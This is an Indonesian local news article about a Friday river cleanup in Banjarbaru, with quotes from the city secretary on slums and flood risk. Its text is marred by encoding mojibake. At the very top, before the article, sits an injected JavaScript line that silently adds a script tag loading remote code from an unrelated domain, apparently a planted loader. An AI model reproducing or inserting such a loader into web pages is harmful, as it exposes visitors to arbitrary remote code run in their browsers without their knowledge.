(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

JumÃ¢â‚¬â„¢at Bersih Sungai di Gotong Royong yang Kumuh dan Mengecil

BANJARBARU, Aliran sungai di jalan Gotong Royong, Kelurahan Mentaos, mendapat pembersihan masyarakat bersama relawan, JumÃ¢â‚¬â„¢at (23/8). Aksi JumÃ¢â‚¬â„¢at Bersih di wilayah Kecamatan Banjarbaru Utara ini dihadiri Sekdako Banjarbaru H Said Abdullah.

Sekdako Banjarbaru H Said Abdullah mengatakan, pemilihan lokasi aliran sungai di jalan Gotong Royong ini karena memang kumuh dan mengecil, lokasinya sangat berdekatan dengan kantor Walikota Banjarbaru.

Ã¢â‚¬Å“Kawasan ini sangat berpotensi banjir, aliran sungai ini harus lancar, baik pada musim kemarau ada airnya, dan pada saat musim penghujan tidak kebanjiran, dan terlepas dari kawasan kumuh,Ã¢â‚¬Â bebernya. Ia berharap aliran sungai di jalan Gotong Royong seperti kawasan Sungai Kemuning. Ã¢â‚¬Å“Kita bentuk RTH dan tempat bermain anak-anak, kita ubah dari kawasan kumuh menjadi kawasan bermain,Ã¢â‚¬Â ujarnya.

Pemko Banjarbaru mengimbau kepada warga tidak mendirikan rumah di aliran sungai, serta ikut memelihara sungai.

Ã¢â‚¬Å“Banyak manfaat yang terjadi apabila lingkungan di sekitar kita bersih, ini juga akan menimbulkan generasi yang baik kedepan, karena lingkungan bersih,Ã¢â‚¬Â pungkasnya. Kegiatan JumÃ¢â‚¬â„¢at Bersih dilanjutkan dengan peninjauan rumah kumuh yang ada di bantaran sungai Gotong Royong dan akan ditindak lanjuti oleh Pemerintah Kota Banjarbaru. (rico)

Reporter : Rico
Editor : Bie